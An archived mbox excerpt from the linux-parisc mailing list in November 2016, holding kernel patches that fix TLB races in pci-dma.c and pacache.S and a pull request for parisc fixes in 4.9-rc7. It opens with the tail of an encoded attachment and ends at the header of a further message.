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
NiiKK2rK1EzWFv8Psg144ib2AgA=

--IJpNTDwzlM2Ie8A6--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix race in pci-dma.c
Date: Thu, 24 Nov 2016 20:06:32 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <7E25B218-9BFA-487A-951B-8520E76B2A2C@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-12--782380578
X-Trace: blaine.gmane.org 1480035999 28861 195.159.176.226 (25 Nov 2016 01:06:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 25 Nov 2016 01:06:39 +0000 (UTC)
Cc: Helge Deller <helge.deller@steuerkanzlei-deller.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 25 02:06:34 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cA4yG-0006K3-58
	for glpp-linux-parisc@m.gmane.org; Fri, 25 Nov 2016 02:06:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750804AbcKYBGf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 24 Nov 2016 20:06:35 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:52716 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750708AbcKYBGe (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 24 Nov 2016 20:06:34 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20161125010633.BANQ11747.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 24 Nov 2016 20:06:33 -0500
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by torspm02.bell.net with ESMTP
          id <20161125010633.MIDQ3859.torspm02.bell.net@[192.168.2.10]>;
          Thu, 24 Nov 2016 20:06:33 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.58378E99.0157,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27068
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27068>


--Apple-Mail-12--782380578
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

We are still troubled by occasional random segmentation faults and =
memory memory corruption on
SMP machines.  The causes quite a few package builds to fail on the =
Debian buildd machines for parisc.
When gcc-6 failed to build three times in a row, I looked again at the =
TLB related code again.  I found a
couple of issues.  This is the first.

In general, we need to ensure page table updates and corresponding TBL =
purges are atomic.  The
attached patch fixes an instance in pci-dma.c where the page table =
update was not guarded by the TLB
lock.

Tested on rp3440 and c8000.  So far, no further random segmentation =
faults have been observed.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>


--Apple-Mail-12--782380578
Content-Disposition: attachment;
	filename=pci-dma.c.d.txt
Content-Type: text/plain;
	name="pci-dma.c.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 02d9ed0..494ff6e 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -95,8 +95,8 @@ static inline int map_pte_uncached(pte_t * pte,
 
 		if (!pte_none(*pte))
 			printk(KERN_ERR "map_pte_uncached: page already exists\n");
-		set_pte(pte, __mk_pte(*paddr_ptr, PAGE_KERNEL_UNC));
 		purge_tlb_start(flags);
+		set_pte(pte, __mk_pte(*paddr_ptr, PAGE_KERNEL_UNC));
 		pdtlb_kernel(orig_vaddr);
 		purge_tlb_end(flags);
 		vaddr += PAGE_SIZE;

--Apple-Mail-12--782380578
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-12--782380578--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Also flush data TLB in flush_icache_page_asm
Date: Thu, 24 Nov 2016 20:18:14 -0500
Lines: 161
Approved: news@gmane.org
Message-ID: <7B459DF1-93C2-4717-A365-BCAFBF37557E@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-29--781679002
X-Trace: blaine.gmane.org 1480036698 8183 195.159.176.226 (25 Nov 2016 01:18:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 25 Nov 2016 01:18:18 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 25 02:18:14 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cA59a-00016A-2p
	for glpp-linux-parisc@m.gmane.org; Fri, 25 Nov 2016 02:18:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751082AbcKYBSR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 24 Nov 2016 20:18:17 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:57204 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750727AbcKYBSQ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 24 Nov 2016 20:18:16 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20161125011814.OYXQ28797.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 24 Nov 2016 20:18:14 -0500
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by mtlspm01.bell.net with ESMTP
          id <20161125011814.MIUN3828.mtlspm01.bell.net@[192.168.2.10]>;
          Thu, 24 Nov 2016 20:18:14 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.58379156.01F5,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27069
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27069>


--Apple-Mail-29--781679002
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

This is the second issue I noticed in reviewing the parisc TLB code.

The fic instruction may use either the instruction or data TLB in =
flushing the instruction cache.  Thus,
on machines with a split TLB, we should also flush the data TLB after =
setting up the temporary alias
registers.

Although this has no functional impact, I changed the pdtlb and pitlb =
instructions to consistently use
the index register %r0.  These instructions do not support integer =
displacements.

Tested on rp3440 and c8000.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>


--Apple-Mail-29--781679002
Content-Disposition: attachment;
	filename=pacache.S.d.txt
Content-Type: text/plain;
	name="pacache.S.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index b743a80..fe0b034 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -96,7 +96,7 @@ fitmanyloop:					/* Loop if LOOP >= 2 */
 
 fitmanymiddle:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fitmanymiddle	/* Adjusted inner loop decr */
-	pitlbe		0(%sr1, %r28)
+	pitlbe		%r0(%sr1, %r28)
 	pitlbe,m	%arg1(%sr1, %r28)	/* Last pitlbe and addr adjust */
 	addib,COND(>)		-1, %r29, fitmanymiddle	/* Middle loop decr */
 	copy		%arg3, %r31		/* Re-init inner loop count */
@@ -139,7 +139,7 @@ fdtmanyloop:					/* Loop if LOOP >= 2 */
 
 fdtmanymiddle:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdtmanymiddle	/* Adjusted inner loop decr */
-	pdtlbe		0(%sr1, %r28)
+	pdtlbe		%r0(%sr1, %r28)
 	pdtlbe,m	%arg1(%sr1, %r28)	/* Last pdtlbe and addr adjust */
 	addib,COND(>)		-1, %r29, fdtmanymiddle	/* Middle loop decr */
 	copy		%arg3, %r31		/* Re-init inner loop count */
@@ -620,12 +626,12 @@ ENTRY(copy_user_page_asm)
 	/* Purge any old translations */
 
 #ifdef CONFIG_PA20
-	pdtlb,l		0(%r28)
-	pdtlb,l		0(%r29)
+	pdtlb,l		%r0(%r28)
+	pdtlb,l		%r0(%r29)
 #else
 	tlb_lock	%r20,%r21,%r22
-	pdtlb		0(%r28)
-	pdtlb		0(%r29)
+	pdtlb		%r0(%r28)
+	pdtlb		%r0(%r29)
 	tlb_unlock	%r20,%r21,%r22
 #endif
 
@@ -768,10 +774,10 @@ ENTRY(clear_user_page_asm)
 	/* Purge any old translation */
 
 #ifdef CONFIG_PA20
-	pdtlb,l		0(%r28)
+	pdtlb,l		%r0(%r28)
 #else
 	tlb_lock	%r20,%r21,%r22
-	pdtlb		0(%r28)
+	pdtlb		%r0(%r28)
 	tlb_unlock	%r20,%r21,%r22
 #endif
 
@@ -852,10 +858,10 @@ ENTRY(flush_dcache_page_asm)
 	/* Purge any old translation */
 
 #ifdef CONFIG_PA20
-	pdtlb,l		0(%r28)
+	pdtlb,l		%r0(%r28)
 #else
 	tlb_lock	%r20,%r21,%r22
-	pdtlb		0(%r28)
+	pdtlb		%r0(%r28)
 	tlb_unlock	%r20,%r21,%r22
 #endif
 
@@ -892,10 +898,10 @@ ENTRY(flush_dcache_page_asm)
 	sync
 
 #ifdef CONFIG_PA20
-	pdtlb,l		0(%r25)
+	pdtlb,l		%r0(%r25)
 #else
 	tlb_lock	%r20,%r21,%r22
-	pdtlb		0(%r25)
+	pdtlb		%r0(%r25)
 	tlb_unlock	%r20,%r21,%r22
 #endif
 
@@ -925,13 +931,18 @@ ENTRY(flush_icache_page_asm)
 	depwi		0, 31,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #endif
 
-	/* Purge any old translation */
+	/* Purge any old translation.  Note that the FIC instruction
+	 * may use either the instruction or data TLB.  Given that we
+	 * have a flat address space, it's not clear which TLB will be
+	 * used.  So, we purge both entries.  */
 
 #ifdef CONFIG_PA20
+	pdtlb,l		%r0(%r28)
 	pitlb,l         %r0(%sr4,%r28)
 #else
 	tlb_lock        %r20,%r21,%r22
-	pitlb           (%sr4,%r28)
+	pdtlb		%r0(%r28)
+	pitlb           %r0(%sr4,%r28)
 	tlb_unlock      %r20,%r21,%r22
 #endif
 
@@ -970,10 +981,12 @@ ENTRY(flush_icache_page_asm)
 	sync
 
 #ifdef CONFIG_PA20
+	pdtlb,l		%r0(%r28)
 	pitlb,l         %r0(%sr4,%r25)
 #else
 	tlb_lock        %r20,%r21,%r22
-	pitlb           (%sr4,%r25)
+	pdtlb		%r0(%r28)
+	pitlb           %r0(%sr4,%r25)
 	tlb_unlock      %r20,%r21,%r22
 #endif
 

--Apple-Mail-29--781679002
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-29--781679002--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for 4.9-rc7
Date: Fri, 25 Nov 2016 17:27:18 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20161125162718.GA10856@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1480091653 21504 195.159.176.226 (25 Nov 2016 16:34:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 25 Nov 2016 16:34:13 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 25 17:34:07 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cAJRv-0004fF-2F
	for glpp-linux-parisc@m.gmane.org; Fri, 25 Nov 2016 17:34:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932681AbcKYQeJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 25 Nov 2016 11:34:09 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:50667 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932599AbcKYQeI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 25 Nov 2016 11:34:08 -0500
Original-Received: from ls3530 ([155.56.40.73]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LanoO-1cYcb331mS-00kOeP; Fri, 25
 Nov 2016 17:27:21 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:pyzoftNES7hq2/OboNkPtBfTFNPQDpjMRSV07l4HBCm/Y0aLn92
 4R4oCmz/Q0bmljuf/HkYbO3HHfNOU/yHWIVV2BSKN5+Pv15UteJaTd0HtmLwPkrcAS8pVGh
 OVt0Syn2w8+EKvJGEsrRCkpBIaq1D/ZFKQ/n+MmmleWQHzMi2vCH7huvyDQ38reA35uoQFP
 sCFfMSfQL1ynvRv62O/kg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:K1eejc0jGh0=:09HcUASxMa3Uh3NAbFq23Q
 jBbPnU2lnauB89+yf1Uijd1g/BF+V0BRqGGXzUqF/sDJIVlYoZ2G0zD4DwRuvZpdn6Wb42smj
 xSMgD+UOE8XFom5Rks1yMlRLk5if45hEiDv+u6jAgrNWlOnFLMSVS1Yuc4xekT1yqFsJGzjYE
 /uBvQCx9s8I18GoyDP9/q1FYmihPzVt65EUt5tJgx+UpGsrWSuS4NbxuVZS8sL6ePs7SWStFl
 cGM3M37f8k7ggjxamXYD0w0t+ZMIVsdTe1ebpqrXiPQNMfdbWh90lE0U4EWpgcHmZkMNe1aCy
 3Mutk0o1/qOEEhdSO3knjcl9Rq6Lic+9j0NTxYKwRVTd9DH2k9bOtv/NGbxMaBIP7mHJJUvNf
 92WwBRRVaJIZBRvqaj4mG3M8sUHP4sUQfuskAxDs4umqQl+6PRW2icnveBMLarVEv7OUVtOou
 TXX7zp7GeZex3yvSAPncAOZYr4VloXHkL5a36YfMDij2XdV0ie7Xa1kNj1dHjqeS02mai2zNJ
 zFfJiPdTe+/LctbPpjMppPtMdmF+NVYb5aStQXL/NX3oMl8uIN5nff6YOuSDqG0c8eg68EhZ0
 DaGB9POSbslOei1wkMaoXJdpyvApCWCwFst3vDwDKm7l3GlHdgWypMrt6NowoHb/zPz63zztN
 n+2TECB1yGhsTRi2JSFFW+WPXmm7bRtDajDHKtnBrLocN41UGkOcYrwB4DcW1y6qYAnx8fe+o
 dd/q+8CcO6Se/09TY8FsgmCPufJ+AjsDChI4FXMmKSQxSdG2P95fjAL3/NU=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27070 gmane.linux.kernel:2357993
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27070>

Hi Linus,

Please pull important fixes for the parisc architecture for v4.9-rc7 from
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.9-4


On parisc we were still seeing occasional random segmentation faults and memory
corruption on SMP machines. Dave Anglin then looked again at the TLB related
code and found two issues in the PCI DMA and generic TLB flush functions.

Then, in our startup code we had some timing of the cache and TLB functions to
calculate a threshold when to use a complete TLB/cache flush or just to flush a
specific range. This code produced a race with newly started CPUs and thus lead
to occasional kernel crashes (due to stale TLB/cache entries).  The patch by
Dave fixes this issue by flushing the local caches before starting secondary
CPUs and by removing the race.

The last problem fixed by this series is that we quite often suffered from hung
tasks and self-detected stalls on the CPUs. It was somehow clear that this was
related to the (in v4.7) newly introduced cr16 clocksource and the own
implementation of sched_clock(). I replaced the open-coded sched_clock()
function and switched to the generic sched_clock() implementation which seems
to have fixed this isse as well.

All patches have been sucessfully tested on a variety of machines, including our
debian buildd servers.

All patches (beside the small pr_cont fix) are tagged for stable releases.

Thanks,
Helge


----------------------------------------------------------------
Helge Deller (2):
      parisc: Fix printk continuations in system detection
      parisc: Switch to generic sched_clock implementation

John David Anglin (3):
      parisc: Fix races in parisc_setup_cache_timing()
      parisc: Fix race in pci-dma.c
      parisc: Also flush data TLB in flush_icache_page_asm

 arch/parisc/Kconfig            |  4 ++-
 arch/parisc/kernel/cache.c     | 31 +++++++++--------------
 arch/parisc/kernel/inventory.c |  8 +++---
 arch/parisc/kernel/pacache.S   | 37 ++++++++++++++++-----------
 arch/parisc/kernel/pci-dma.c   |  2 +-
 arch/parisc/kernel/setup.c     |  4 +++
 arch/parisc/kernel/time.c      | 57 ++++++++----------------------------------
 7 files changed, 57 insertions(+), 86 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
